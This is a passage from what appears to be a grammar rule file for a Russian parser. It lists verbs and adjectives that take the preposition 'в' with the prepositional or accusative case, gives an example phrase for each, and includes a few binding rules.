rus_verbs:преследовать{}, // преследовать в любой другой стране rus_verbs:драться{}, // драться в баре rus_verbs:просидеть{}, // просидеть в классе rus_verbs:убираться{}, // убираться в квартире rus_verbs:содрогнуться{}, // содрогнуться в приступе отвращения rus_verbs:пугать{}, // пугать в прессе rus_verbs:отреагировать{}, // отреагировать в прессе rus_verbs:проверять{}, // проверять в аппарате rus_verbs:убеждать{}, // убеждать в отсутствии альтернатив rus_verbs:летать{}, // летать в комфортабельном частном самолёте rus_verbs:толпиться{}, // толпиться в фойе rus_verbs:плавать{}, // плавать в специальном костюме rus_verbs:пробыть{}, // пробыть в воде слишком долго rus_verbs:прикинуть{}, // прикинуть в уме rus_verbs:застрять{}, // застрять в лифте rus_verbs:метаться{}, // метаться в кровате rus_verbs:сжечь{}, // сжечь в печке rus_verbs:расслабиться{}, // расслабиться в ванной rus_verbs:услыхать{}, // услыхать в автобусе rus_verbs:удержать{}, // удержать в вертикальном положении rus_verbs:образоваться{}, // образоваться в верхних слоях атмосферы rus_verbs:рассмотреть{}, // рассмотреть в капле воды rus_verbs:просмотреть{}, // просмотреть в браузере rus_verbs:учесть{}, // учесть в планах rus_verbs:уезжать{}, // уезжать в чьей-то машине rus_verbs:похоронить{}, // похоронить в мерзлой земле rus_verbs:растянуться{}, // растянуться в расслабленной позе rus_verbs:обнаружиться{}, // обнаружиться в чужой сумке rus_verbs:гулять{}, // гулять в парке rus_verbs:утонуть{}, // утонуть в реке rus_verbs:зажать{}, // зажать в медвежьих объятиях rus_verbs:усомниться{}, // усомниться в объективности rus_verbs:танцевать{}, // танцевать в спортзале rus_verbs:проноситься{}, // проноситься в голове rus_verbs:трудиться{}, // трудиться в кооперативе глагол:засыпать{ aux stress="засып^ать" переходность:непереходный }, // засыпать в спальном мешке инфинитив:засыпать{ aux stress="засып^ать" переходность:непереходный }, rus_verbs:сушить{}, // сушить в сушильном шкафу rus_verbs:зашевелиться{}, // зашевелиться в траве rus_verbs:обдумывать{}, // обдумывать в спокойной обстановке rus_verbs:промелькнуть{}, // промелькнуть в окне rus_verbs:поучаствовать{}, // поучаствовать в обсуждении rus_verbs:закрыть{}, // закрыть в комнате rus_verbs:запирать{}, // запирать в комнате rus_verbs:закрывать{}, // закрывать в доме rus_verbs:заблокировать{}, // заблокировать в доме rus_verbs:зацвести{}, // В садах зацвела сирень rus_verbs:кричать{}, // Какое-то животное кричало в ночном лесу. rus_verbs:поглотить{}, // фотон, поглощенный в рецепторе rus_verbs:стоять{}, // войска, стоявшие в Риме rus_verbs:закалить{}, // ветераны, закаленные в боях rus_verbs:выступать{}, // пришлось выступать в тюрьме. rus_verbs:выступить{}, // пришлось выступить в тюрьме. rus_verbs:закопошиться{}, // Мыши закопошились в траве rus_verbs:воспламениться{}, // смесь, воспламенившаяся в цилиндре rus_verbs:воспламеняться{}, // смесь, воспламеняющаяся в цилиндре rus_verbs:закрываться{}, // закрываться в комнате rus_verbs:провалиться{}, // провалиться в прокате деепричастие:авторизируясь{ вид:несоверш }, глагол:авторизироваться{ вид:несоверш }, инфинитив:авторизироваться{ вид:несоверш }, // авторизироваться в системе rus_verbs:существовать{}, // существовать в вакууме деепричастие:находясь{}, прилагательное:находившийся{}, прилагательное:находящийся{}, глагол:находиться{ вид:несоверш }, инфинитив:находиться{ вид:несоверш }, // находиться в вакууме rus_verbs:регистрировать{}, // регистрировать в инспекции глагол:перерегистрировать{ вид:несоверш }, глагол:перерегистрировать{ вид:соверш }, инфинитив:перерегистрировать{ вид:несоверш }, инфинитив:перерегистрировать{ вид:соверш }, // перерегистрировать в инспекции rus_verbs:поковыряться{}, // поковыряться в носу rus_verbs:оттаять{}, // оттаять в кипятке rus_verbs:распинаться{}, // распинаться в проклятиях rus_verbs:отменить{}, // Министерство связи предлагает отменить внутренний роуминг в России rus_verbs:столкнуться{}, // Американский эсминец и японский танкер столкнулись в Персидском заливе rus_verbs:ценить{}, // Он очень ценил в статьях краткость изложения. прилагательное:несчастный{}, // Он очень несчастен в семейной жизни. rus_verbs:объясниться{}, // Он объяснился в любви. прилагательное:нетвердый{}, // Он нетвёрд в истории. rus_verbs:заниматься{}, // Он занимается в читальном зале. rus_verbs:вращаться{}, // Он вращается в учёных кругах. прилагательное:спокойный{}, // Он был спокоен и уверен в завтрашнем дне. rus_verbs:бегать{}, // Он бегал по городу в поисках квартиры. rus_verbs:заключать{}, // Письмо заключало в себе очень важные сведения. rus_verbs:срабатывать{}, // Алгоритм срабатывает в половине случаев. rus_verbs:специализироваться{}, // мы специализируемся в создании ядерного оружия rus_verbs:сравниться{}, // Никто не может сравниться с ним в знаниях. rus_verbs:продолжать{}, // Продолжайте в том же духе. rus_verbs:говорить{}, // Не говорите об этом в присутствии третьих лиц. rus_verbs:болтать{}, // Не болтай в присутствии начальника! rus_verbs:проболтаться{}, // Не проболтайся в присутствии начальника! rus_verbs:повторить{}, // Он должен повторить свои показания в присутствии свидетелей rus_verbs:получить{}, // ректор поздравил студентов, получивших в этом семестре повышенную стипендию rus_verbs:приобретать{}, // Эту еду мы приобретаем в соседнем магазине. rus_verbs:расходиться{}, // Маша и Петя расходятся во взглядах rus_verbs:сходиться{}, // Все дороги сходятся в Москве rus_verbs:убирать{}, // убирать в комнате rus_verbs:удостоверяться{}, // он удостоверяется в личности специалиста rus_verbs:уединяться{}, // уединяться в пустыне rus_verbs:уживаться{}, // уживаться в одном коллективе rus_verbs:укорять{}, // укорять друга в забывчивости rus_verbs:читать{}, // он читал об этом в журнале rus_verbs:состояться{}, // В Израиле состоятся досрочные парламентские выборы rus_verbs:погибнуть{}, // Список погибших в авиакатастрофе под Ярославлем rus_verbs:работать{}, // Я работаю в театре. rus_verbs:признать{}, // Я признал в нём старого друга. rus_verbs:преподавать{}, // Я преподаю в университете. rus_verbs:понимать{}, // Я плохо понимаю в живописи. rus_verbs:водиться{}, // неизвестный науке зверь, который водится в жарких тропических лесах rus_verbs:разразиться{}, // В Москве разразилась эпидемия гриппа rus_verbs:замереть{}, // вся толпа замерла в восхищении rus_verbs:сидеть{}, // Я люблю сидеть в этом удобном кресле. rus_verbs:идти{}, // Я иду в неопределённом направлении. rus_verbs:заболеть{}, // Я заболел в дороге. rus_verbs:ехать{}, // Я еду в автобусе rus_verbs:взять{}, // Я взял книгу в библиотеке на неделю. rus_verbs:провести{}, // Юные годы он провёл в Италии. rus_verbs:вставать{}, // Этот случай живо встаёт в моей памяти. rus_verbs:возвысить{}, // Это событие возвысило его в общественном мнении. rus_verbs:произойти{}, // Это произошло в одном городе в Японии. rus_verbs:привидеться{}, // Это мне привиделось во сне. rus_verbs:держаться{}, // Это дело держится в большом секрете. rus_verbs:привиться{}, // Это выражение не привилось в русском языке. rus_verbs:восстановиться{}, // Эти писатели восстановились в правах. rus_verbs:быть{}, // Эта книга есть в любом книжном магазине. прилагательное:популярный{}, // Эта идея очень популярна в массах. rus_verbs:шуметь{}, // Шумит в голове. rus_verbs:остаться{}, // Шляпа осталась в поезде. rus_verbs:выражаться{}, // Характер писателя лучше всего выражается в его произведениях. rus_verbs:воспитать{}, // Учительница воспитала в детях любовь к природе. rus_verbs:пересохнуть{}, // У меня в горле пересохло. rus_verbs:щекотать{}, // У меня в горле щекочет. rus_verbs:колоть{}, // У меня в боку колет. прилагательное:свежий{}, // Событие ещё свежо в памяти. rus_verbs:собрать{}, // Соберите всех учеников во дворе. rus_verbs:белеть{}, // Снег белеет в горах. rus_verbs:сделать{}, // Сколько орфографических ошибок ты сделал в диктанте? rus_verbs:таять{}, // Сахар тает в кипятке. rus_verbs:жать{}, // Сапог жмёт в подъёме. rus_verbs:возиться{}, // Ребята возятся в углу. rus_verbs:распоряжаться{}, // Прошу не распоряжаться в чужом доме. rus_verbs:кружиться{}, // Они кружились в вальсе. rus_verbs:выставлять{}, // Они выставляют его в смешном виде. rus_verbs:бывать{}, // Она часто бывает в обществе. rus_verbs:петь{}, // Она поёт в опере. rus_verbs:сойтись{}, // Все свидетели сошлись в своих показаниях. rus_verbs:валяться{}, // Вещи валялись в беспорядке. rus_verbs:пройти{}, // Весь день прошёл в беготне. rus_verbs:продавать{}, // В этом магазине продают обувь. rus_verbs:заключаться{}, // В этом заключается вся сущность. rus_verbs:звенеть{}, // В ушах звенит. rus_verbs:проступить{}, // В тумане проступили очертания корабля. rus_verbs:бить{}, // В саду бьёт фонтан. rus_verbs:проскользнуть{}, // В речи проскользнул упрёк. rus_verbs:оставить{}, // Не оставь товарища в опасности. rus_verbs:прогулять{}, // Мы прогуляли час в парке. rus_verbs:перебить{}, // Мы перебили врагов в бою. rus_verbs:остановиться{}, // Мы остановились в первой попавшейся гостинице. rus_verbs:видеть{}, // Он многое видел в жизни. // глагол:проходить{ вид:несоверш }, // Беседа проходила в дружественной атмосфере. rus_verbs:подать{}, // Автор подал своих героев в реалистических тонах. rus_verbs:кинуть{}, // Он кинул меня в беде. rus_verbs:приходить{}, // Приходи в сентябре rus_verbs:воскрешать{}, // воскрешать в памяти rus_verbs:соединять{}, // соединять в себе rus_verbs:разбираться{}, // умение разбираться в вещах rus_verbs:делать{}, // В её комнате делали обыск. rus_verbs:воцариться{}, // В зале воцарилась глубокая тишина. rus_verbs:начаться{}, // В деревне начались полевые работы. rus_verbs:блеснуть{}, // В голове блеснула хорошая мысль. rus_verbs:вертеться{}, // В голове вертится вчерашний разговор. rus_verbs:веять{}, // В воздухе веет прохладой. rus_verbs:висеть{}, // В воздухе висит зной. rus_verbs:носиться{}, // В воздухе носятся комары. rus_verbs:грести{}, // Грести в спокойной воде будет немного легче, но скучнее rus_verbs:воскресить{}, // воскресить в памяти rus_verbs:поплавать{}, // поплавать в 100-метровом бассейне rus_verbs:пострадать{}, // В массовой драке пострадал 23-летний мужчина прилагательное:уверенный{ причастие }, // Она уверена в своих силах. прилагательное:постоянный{}, // Она постоянна во вкусах. прилагательное:сильный{}, // Он не силён в математике. прилагательное:повинный{}, // Он не повинен в этом. прилагательное:возможный{}, // Ураганы, сильные грозы и даже смерчи возможны в конце периода сильной жары rus_verbs:вывести{}, // способный летать над землей крокодил был выведен в секретной лаборатории прилагательное:нужный{}, // сковородка тоже нужна в хозяйстве. rus_verbs:сесть{}, // Она села в тени rus_verbs:заливаться{}, // в нашем парке заливаются соловьи rus_verbs:разнести{}, // В лесу огонь пожара мгновенно разнесло rus_verbs:чувствоваться{}, // В тёплом, но сыром воздухе остро чувствовалось дыхание осени // rus_verbs:расти{}, // дерево, растущее в лесу rus_verbs:происходить{}, // что происходит в поликлиннике rus_verbs:спать{}, // кто спит в моей кровати rus_verbs:мыть{}, // мыть машину в саду ГЛ_ИНФ(царить), // В воздухе царило безмолвие ГЛ_ИНФ(мести), // мести в прихожей пол ГЛ_ИНФ(прятать), // прятать в яме ГЛ_ИНФ(увидеть), прилагательное:увидевший{}, деепричастие:увидев{}, // увидел периодическую таблицу элементов во сне. // ГЛ_ИНФ(собраться), // собраться в порту ГЛ_ИНФ(случиться), // что-то случилось в больнице ГЛ_ИНФ(зажечься), // в небе зажглись звёзды ГЛ_ИНФ(купить), // купи молока в магазине прилагательное:пропагандировавшийся{} // группа студентов университета дружбы народов, активно пропагандировавшейся в СССР } // Чтобы разрешить связывание в паттернах типа: пообедать в macdonalds fact гл_предл { if context { Гл_В_Предл предлог:в{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_В_Предл предлог:в{} *:*{ падеж:предл } } then return true } // С локативом: // собраться в порту fact гл_предл { if context { Гл_В_Предл предлог:в{} существительное:*{ падеж:мест } } then return true } #endregion Предложный #region Винительный // Для глаголов движения с выраженным направлением действия может присоединяться // предложный паттерн с винительным падежом. wordentry_set Гл_В_Вин = { rus_verbs:вдавиться{}, // Дуло больно вдавилось в позвонок. глагол:ввергнуть{}, // Двух прелестнейших дам он ввергнул в горе. глагол:ввергать{}, инфинитив:ввергнуть{}, инфинитив:ввергать{}, rus_verbs:двинуться{}, // Двинулись в путь и мы. rus_verbs:сплавать{}, // Сплавать в Россию! rus_verbs:уложиться{}, // Уложиться в воскресенье. rus_verbs:спешить{}, // Спешите в Лондон rus_verbs:кинуть{}, // Киньте в море. rus_verbs:проситься{}, // Просилась в Никарагуа. rus_verbs:притопать{}, // Притопал в Будапешт. rus_verbs:скататься{}, // Скатался в Красноярск. rus_verbs:соскользнуть{}, // Соскользнул в пике. rus_verbs:соскальзывать{}, rus_verbs:играть{}, // Играл в дутье. глагол:айда{}, // Айда в каморы. rus_verbs:отзывать{}, // Отзывали в Москву... rus_verbs:сообщаться{}, // Сообщается в Лондон. rus_verbs:вдуматься{}, // Вдумайтесь в них. rus_verbs:проехать{}, // Проехать в Лунево... rus_verbs:спрыгивать{}, // Спрыгиваем в него. rus_verbs:верить{}, // Верю в вас! rus_verbs:прибыть{}, // Прибыл в Подмосковье. rus_verbs:переходить{}, // Переходите в школу. rus_verbs:доложить{}, // Доложили в Москву. rus_verbs:подаваться{}, // Подаваться в Россию? rus_verbs:спрыгнуть{}, // Спрыгнул в него. rus_verbs:вывезти{}, // Вывезли в Китай. rus_verbs:пропихивать{}, // Я очень аккуратно пропихивал дуло в ноздрю. rus_verbs:пропихнуть{}, rus_verbs:транспортироваться{}, rus_verbs:закрадываться{}, // в голову начали закрадываться кое-какие сомнения и подозрения rus_verbs:дуть{}, rus_verbs:БОГАТЕТЬ{}, // rus_verbs:РАЗБОГАТЕТЬ{}, // rus_verbs:ВОЗРАСТАТЬ{}, // rus_verbs:ВОЗРАСТИ{}, // rus_verbs:ПОДНЯТЬ{}, // Он поднял половинку самолета в воздух и на всей скорости повел ее к горам. (ПОДНЯТЬ) rus_verbs:ОТКАТИТЬСЯ{}, // Услышав за спиной дыхание, он прыгнул вперед и откатился в сторону, рассчитывая ускользнуть от врага, нападавшего сзади (ОТКАТИТЬСЯ) rus_verbs:ВПЛЕТАТЬСЯ{}, // В общий смрад вплеталось зловонье пены, летевшей из пастей, и крови из легких (ВПЛЕТАТЬСЯ) rus_verbs:ЗАМАНИТЬ{}, // Они подумали, что Павел пытается заманить их в зону обстрела. (ЗАМАНИТЬ,ЗАМАНИВАТЬ) rus_verbs:ЗАМАНИВАТЬ{}, rus_verbs:ПРОТРУБИТЬ{}, // Эти врата откроются, когда он протрубит в рог, и пропустят его в другую вселенную. (ПРОТРУБИТЬ) rus_verbs:ВРУБИТЬСЯ{}, // Клинок сломался, не врубившись в металл. (ВРУБИТЬСЯ/ВРУБАТЬСЯ) rus_verbs:ВРУБАТЬСЯ{}, rus_verbs:ОТПРАВИТЬ{}, // Мы ищем благородного вельможу, который нанял бы нас или отправил в рыцарский поиск. (ОТПРАВИТЬ) rus_verbs:ОБЛАЧИТЬ{}, // Этот был облачен в сверкавшие красные доспехи с опущенным забралом и держал огромное копье, дожидаясь своей очереди. (ОБЛАЧИТЬ/ОБЛАЧАТЬ/ОБЛАЧИТЬСЯ/ОБЛАЧАТЬСЯ/НАРЯДИТЬСЯ/НАРЯЖАТЬСЯ) rus_verbs:ОБЛАЧАТЬ{}, rus_verbs:ОБЛАЧИТЬСЯ{}, rus_verbs:ОБЛАЧАТЬСЯ{}, rus_verbs:НАРЯДИТЬСЯ{}, rus_verbs:НАРЯЖАТЬСЯ{}, rus_verbs:ЗАХВАТИТЬ{}, // Кроме набранного рабского материала обычного типа, он захватил в плен группу очень странных созданий, а также женщину исключительной красоты (ЗАХВАТИТЬ/ЗАХВАТЫВАТЬ/ЗАХВАТ) rus_verbs:ЗАХВАТЫВАТЬ{}, rus_verbs:ПРОВЕСТИ{}, // Он провел их в маленькое святилище позади штурвала. (ПРОВЕСТИ) rus_verbs:ПОЙМАТЬ{}, // Их можно поймать в ловушку (ПОЙМАТЬ) rus_verbs:СТРОИТЬСЯ{}, // На вершине они остановились, строясь в круг. (СТРОИТЬСЯ,ПОСТРОИТЬСЯ,ВЫСТРОИТЬСЯ) rus_verbs:ПОСТРОИТЬСЯ{}, rus_verbs:ВЫСТРОИТЬСЯ{}, rus_verbs:ВЫПУСТИТЬ{}, // Несколько стрел, выпущенных в преследуемых, вонзились в траву (ВЫПУСТИТЬ/ВЫПУСКАТЬ) rus_verbs:ВЫПУСКАТЬ{}, rus_verbs:ВЦЕПЛЯТЬСЯ{}, // Они вцепляются тебе в горло. (ВЦЕПЛЯТЬСЯ/ВЦЕПИТЬСЯ) rus_verbs:ВЦЕПИТЬСЯ{}, rus_verbs:ПАЛЬНУТЬ{}, // Вольф вставил в тетиву новую стрелу и пальнул в белое брюхо (ПАЛЬНУТЬ) rus_verbs:ОТСТУПИТЬ{}, // Вольф отступил в щель. (ОТСТУПИТЬ/ОТСТУПАТЬ) rus_verbs:ОТСТУПАТЬ{}, rus_verbs:КРИКНУТЬ{}, // Вольф крикнул в ответ и медленно отступил от птицы. (КРИКНУТЬ) rus_verbs:ДЫХНУТЬ{}, // В лицо ему дыхнули винным перегаром. (ДЫХНУТЬ) rus_verbs:ПОТРУБИТЬ{}, // Я видел рог во время своих скитаний по дворцу и даже потрубил в него (ПОТРУБИТЬ) rus_verbs:ОТКРЫВАТЬСЯ{}, // Некоторые врата открывались в другие вселенные (ОТКРЫВАТЬСЯ) rus_verbs:ТРУБИТЬ{}, // А я трубил в рог (ТРУБИТЬ) rus_verbs:ПЫРНУТЬ{}, // Вольф пырнул его в бок. (ПЫРНУТЬ) rus_verbs:ПРОСКРЕЖЕТАТЬ{}, // Тот что-то проскрежетал в ответ, а затем наорал на него. (ПРОСКРЕЖЕТАТЬ В вин, НАОРАТЬ НА вин) rus_verbs:ИМПОРТИРОВАТЬ{}, // импортировать товары двойного применения только в Российскую Федерацию (ИМПОРТИРОВАТЬ) rus_verbs:ОТЪЕХАТЬ{}, // Легкий грохот катков заглушил рог, когда дверь отъехала в сторону. (ОТЪЕХАТЬ) rus_verbs:ПОПЛЕСТИСЬ{}, // Подобрав нижнее белье, носки и ботинки, он поплелся по песку обратно в джунгли. (ПОПЛЕЛСЯ) rus_verbs:СЖАТЬСЯ{}, // Желудок у него сжался в кулак. (СЖАТЬСЯ, СЖИМАТЬСЯ) rus_verbs:СЖИМАТЬСЯ{}, rus_verbs:проверять{}, // Школьников будут принудительно проверять на курение rus_verbs:ПОТЯНУТЬ{}, // Я потянул его в кино (ПОТЯНУТЬ) rus_verbs:ПЕРЕВЕСТИ{}, // Премьер-министр Казахстана поручил до конца года перевести все социально-значимые услуги в электронный вид (ПЕРЕВЕСТИ) rus_verbs:КРАСИТЬ{}, // Почему китайские партийные боссы красят волосы в черный цвет? (КРАСИТЬ/ПОКРАСИТЬ/ПЕРЕКРАСИТЬ/ОКРАСИТЬ/ЗАКРАСИТЬ) rus_verbs:ПОКРАСИТЬ{}, // rus_verbs:ПЕРЕКРАСИТЬ{}, // rus_verbs:ОКРАСИТЬ{}, // rus_verbs:ЗАКРАСИТЬ{}, // rus_verbs:СООБЩИТЬ{}, // Мужчина ранил человека в щеку и сам сообщил об этом в полицию (СООБЩИТЬ) rus_verbs:СТЯГИВАТЬ{}, // Но толщина пузыря постоянно меняется из-за гравитации, которая стягивает жидкость в нижнюю часть (СТЯГИВАТЬ/СТЯНУТЬ/ЗАТЯНУТЬ/ВТЯНУТЬ) rus_verbs:СТЯНУТЬ{}, // rus_verbs:ЗАТЯНУТЬ{}, // rus_verbs:ВТЯНУТЬ{}, // rus_verbs:СОХРАНИТЬ{}, // сохранить данные в файл (СОХРАНИТЬ) деепричастие:придя{}, // Немного придя в себя rus_verbs:наблюдать{}, // Судья , долго наблюдавший в трубу , вдруг вскричал rus_verbs:УЛЫБАТЬСЯ{}, // она улыбалась во весь рот (УЛЫБАТЬСЯ) rus_verbs:МЕТНУТЬСЯ{}, // она метнулась обратно во тьму (МЕТНУТЬСЯ) rus_verbs:ПОСЛЕДОВАТЬ{}, // большинство жителей города последовало за ним во дворец (ПОСЛЕДОВАТЬ) rus_verbs:ПЕРЕМЕЩАТЬСЯ{}, // экстремисты перемещаются из лесов в Сеть (ПЕРЕМЕЩАТЬСЯ) rus_verbs:ВЫТАЩИТЬ{}, // Алексей позволил вытащить себя через дверь во тьму (ВЫТАЩИТЬ) rus_verbs:СЫПАТЬСЯ{}, // внизу под ними камни градом сыпались во двор (СЫПАТЬСЯ) rus_verbs:выезжать{}, // заключенные сами шьют куклы и иногда выезжают с представлениями в детский дом неподалеку rus_verbs:КРИЧАТЬ{}, // ей хотелось кричать во весь голос (КРИЧАТЬ В вин) rus_verbs:ВЫПРЯМИТЬСЯ{}, // волк выпрямился во весь огромный рост (ВЫПРЯМИТЬСЯ В вин) rus_verbs:спрятать{}, // Джон спрятал очки во внутренний карман (спрятать в вин) rus_verbs:ЭКСТРАДИРОВАТЬ{}, // Украина экстрадирует в Таджикистан задержанного бывшего премьер-министра (ЭКСТРАДИРОВАТЬ В вин) rus_verbs:ВВОЗИТЬ{}, // лабораторный мониторинг ввозимой в Россию мясной продукции из США (ВВОЗИТЬ В вин) rus_verbs:УПАКОВАТЬ{}, // упакованных в несколько слоев полиэтилена (УПАКОВАТЬ В вин) rus_verbs:ОТТЯГИВАТЬ{}, // использовать естественную силу гравитации, оттягивая объекты в сторону и изменяя их орбиту (ОТТЯГИВАТЬ В вин) rus_verbs:ПОЗВОНИТЬ{}, // они позвонили в отдел экологии городской администрации (ПОЗВОНИТЬ В) rus_verbs:ПРИВЛЕЧЬ{}, // Открытость данных о лесе поможет привлечь инвестиции в отрасль (ПРИВЛЕЧЬ В) rus_verbs:ЗАПРОСИТЬСЯ{}, // набегавшись и наплясавшись, Стасик утомился и запросился в кроватку (ЗАПРОСИТЬСЯ В) rus_verbs:ОТСТАВИТЬ{}, // бутыль с ацетоном Витька отставил в сторонку (ОТСТАВИТЬ В) rus_verbs:ИСПОЛЬЗОВАТЬ{}, // ты использовал свою магию во зло. (ИСПОЛЬЗОВАТЬ В вин) rus_verbs:ВЫСЕВАТЬ{}, // В апреле редис возможно уже высевать в грунт (ВЫСЕВАТЬ В) rus_verbs:ЗАГНАТЬ{}, // Американский психолог загнал любовь в три угла (ЗАГНАТЬ В) rus_verbs:ЭВОЛЮЦИОНИРОВАТЬ{}, // Почему не все обезьяны эволюционировали в человека? (ЭВОЛЮЦИОНИРОВАТЬ В вин) rus_verbs:СФОТОГРАФИРОВАТЬСЯ{}, // Он сфотографировался во весь рост. (СФОТОГРАФИРОВАТЬСЯ В) rus_verbs:СТАВИТЬ{}, // Он ставит мне в упрёк свою ошибку. (СТАВИТЬ В) rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА) rus_verbs:ПЕРЕСЕЛЯТЬСЯ{}, // Греки переселяются в Германию (ПЕРЕСЕЛЯТЬСЯ В) rus_verbs:ФОРМИРОВАТЬСЯ{}, // Сахарная свекла относится к двулетним растениям, мясистый корнеплод формируется в первый год. (ФОРМИРОВАТЬСЯ В) rus_verbs:ПРОВОРЧАТЬ{}, // дедуля что-то проворчал в ответ (ПРОВОРЧАТЬ В) rus_verbs:БУРКНУТЬ{}, // нелюдимый парень что-то буркнул в ответ (БУРКНУТЬ В) rus_verbs:ВЕСТИ{}, // дверь вела во тьму. (ВЕСТИ В) rus_verbs:ВЫСКОЧИТЬ{}, // беглецы выскочили во двор. (ВЫСКОЧИТЬ В) rus_verbs:ДОСЫЛАТЬ{}, // Одним движением стрелок досылает патрон в ствол (ДОСЫЛАТЬ В) rus_verbs:СЪЕХАТЬСЯ{}, // Финалисты съехались на свои игры в Лос-Анжелес. (СЪЕХАТЬСЯ НА, В) rus_verbs:ВЫТЯНУТЬ{}, // Дым вытянуло в трубу. (ВЫТЯНУТЬ В) rus_verbs:торчать{}, // острые обломки бревен торчали во все стороны. rus_verbs:ОГЛЯДЫВАТЬ{}, // Она оглядывает себя в зеркало. (ОГЛЯДЫВАТЬ В) rus_verbs:ДЕЙСТВОВАТЬ{}, // Этот пакет законов действует в ущерб частным предпринимателям. rus_verbs:РАЗЛЕТЕТЬСЯ{}, // люди разлетелись во все стороны. (РАЗЛЕТЕТЬСЯ В) rus_verbs:брызнуть{}, // во все стороны брызнула кровь. (брызнуть в) rus_verbs:ТЯНУТЬСЯ{}, // провода тянулись во все углы. (ТЯНУТЬСЯ В) rus_verbs:валить{}, // валить все в одну кучу (валить в) rus_verbs:выдвинуть{}, // его выдвинули в палату представителей (выдвинуть в) rus_verbs:карабкаться{}, // карабкаться в гору (карабкаться в) rus_verbs:клониться{}, // он клонился в сторону (клониться в) rus_verbs:командировать{}, // мы командировали нашего представителя в Рим (командировать в) rus_verbs:запасть{}, // Эти слова запали мне в душу. rus_verbs:давать{}, // В этой лавке дают в долг? rus_verbs:ездить{}, // Каждый день грузовик ездит в город. rus_verbs:претвориться{}, // Замысел претворился в жизнь. rus_verbs:разойтись{}, // Они разошлись в разные стороны. rus_verbs:выйти{}, // Охотник вышел в поле с ружьём. rus_verbs:отозвать{}, // Отзовите его в сторону и скажите ему об этом. rus_verbs:расходиться{}, // Маша и Петя расходятся в разные стороны rus_verbs:переодеваться{}, // переодеваться в женское платье rus_verbs:перерастать{}, // перерастать в массовые беспорядки rus_verbs:завязываться{}, // завязываться в узел rus_verbs:похватать{}, // похватать в руки rus_verbs:увлечь{}, // увлечь в прогулку по парку rus_verbs:помещать{}, // помещать в изолятор rus_verbs:зыркнуть{}, // зыркнуть в окошко rus_verbs:закатать{}, // закатать в асфальт rus_verbs:усаживаться{}, // усаживаться в кресло rus_verbs:загонять{}, // загонять в сарай rus_verbs:подбрасывать{}, // подбрасывать в воздух rus_verbs:телеграфировать{}, // телеграфировать в центр rus_verbs:вязать{}, // вязать в стопы rus_verbs:подлить{}, // подлить в огонь rus_verbs:заполучить{}, // заполучить в распоряжение rus_verbs:подогнать{}, // подогнать в док rus_verbs:ломиться{}, // ломиться в открытую дверь rus_verbs:переправить{}, // переправить в деревню rus_verbs:затягиваться{}, // затягиваться в трубу rus_verbs:разлетаться{}, // разлетаться в стороны rus_verbs:кланяться{}, // кланяться в ножки rus_verbs:устремляться{}, // устремляться в открытое море rus_verbs:переместиться{}, // переместиться в другую аудиторию rus_verbs:ложить{}, // ложить в ящик rus_verbs:отвозить{}, // отвозить в аэропорт rus_verbs:напрашиваться{}, // напрашиваться в гости rus_verbs:напроситься{}, // напроситься в гости rus_verbs:нагрянуть{}, // нагрянуть в гости rus_verbs:заворачивать{}, // заворачивать в фольгу rus_verbs:заковать{}, // заковать в кандалы rus_verbs:свезти{}, // свезти в сарай rus_verbs:притащиться{}, // притащиться в дом rus_verbs:завербовать{}, // завербовать в разведку rus_verbs:рубиться{}, // рубиться в компьютерные игры rus_verbs:тыкаться{}, // тыкаться в материнскую грудь инфинитив:ссыпать{ вид:несоверш }, инфинитив:ссыпать{ вид:соверш }, // ссыпать в контейнер глагол:ссыпать{ вид:несоверш }, глагол:ссыпать{ вид:соверш }, деепричастие:ссыпав{}, деепричастие:ссыпая{}, rus_verbs:засасывать{}, // засасывать в себя rus_verbs:скакнуть{}, // скакнуть в будущее rus_verbs:подвозить{}, // подвозить в театр rus_verbs:переиграть{}, // переиграть в покер rus_verbs:мобилизовать{}, // мобилизовать в действующую армию rus_verbs:залетать{}, // залетать в закрытое воздушное пространство rus_verbs:подышать{}, // подышать в трубочку rus_verbs:смотаться{}, // смотаться в институт rus_verbs:рассовать{}, // рассовать в кармашки rus_verbs:захаживать{}, // захаживать в дом инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять в ломбард деепричастие:сгоняя{}, rus_verbs:посылаться{}, // посылаться в порт rus_verbs:отлить{}, // отлить в кастрюлю rus_verbs:преобразоваться{}, // преобразоваться в линейное уравнение rus_verbs:поплакать{}, // поплакать в платочек rus_verbs:обуться{}, // обуться в сапоги rus_verbs:закапать{}, // закапать в глаза инфинитив:свозить{ вид:несоверш }, инфинитив:свозить{ вид:соверш }, // свозить в центр утилизации глагол:свозить{ вид:несоверш }, глагол:свозить{ вид:соверш }, деепричастие:свозив{}, деепричастие:свозя{}, rus_verbs:преобразовать{}, // преобразовать в линейное уравнение rus_verbs:кутаться{}, // кутаться в плед rus_verbs:смещаться{}, // смещаться в сторону rus_verbs:зазывать{}, // зазывать в свой магазин инфинитив:трансформироваться{ вид:несоверш }, инфинитив:трансформироваться{ вид:соверш }, // трансформироваться в комбинезон глагол:трансформироваться{ вид:несоверш }, глагол:трансформироваться{ вид:соверш }, деепричастие:трансформируясь{}, деепричастие:трансформировавшись{}, rus_verbs:погружать{}, // погружать в кипящее масло rus_verbs:обыграть{}, // обыграть в теннис rus_verbs:закутать{}, // закутать в одеяло rus_verbs:изливаться{}, // изливаться в воду rus_verbs:закатывать{}, // закатывать в асфальт rus_verbs:мотнуться{}, // мотнуться в банк rus_verbs:избираться{}, // избираться в сенат rus_verbs:наниматься{}, // наниматься в услужение rus_verbs:настучать{}, // настучать в органы rus_verbs:запихивать{}, // запихивать в печку rus_verbs:закапывать{}, // закапывать в нос rus_verbs:засобираться{}, // засобираться в поход rus_verbs:копировать{}, // копировать в другую папку rus_verbs:замуровать{}, // замуровать в стену rus_verbs:упечь{}, // упечь в тюрьму rus_verbs:зрить{}, // зрить в корень rus_verbs:стягиваться{}, // стягиваться в одну точку rus_verbs:усаживать{}, // усаживать в тренажер rus_verbs:протолкнуть{}, // протолкнуть в отверстие rus_verbs:расшибиться{}, // расшибиться в лепешку rus_verbs:приглашаться{}, // приглашаться в кабинет rus_verbs:садить{}, // садить в телегу rus_verbs:уткнуть{}, // уткнуть в подушку rus_verbs:протечь{}, // протечь в подвал rus_verbs:перегнать{}, // перегнать в другую страну rus_verbs:переползти{}, // переползти в тень rus_verbs:зарываться{}, // зарываться в грунт rus_verbs:переодеть{}, // 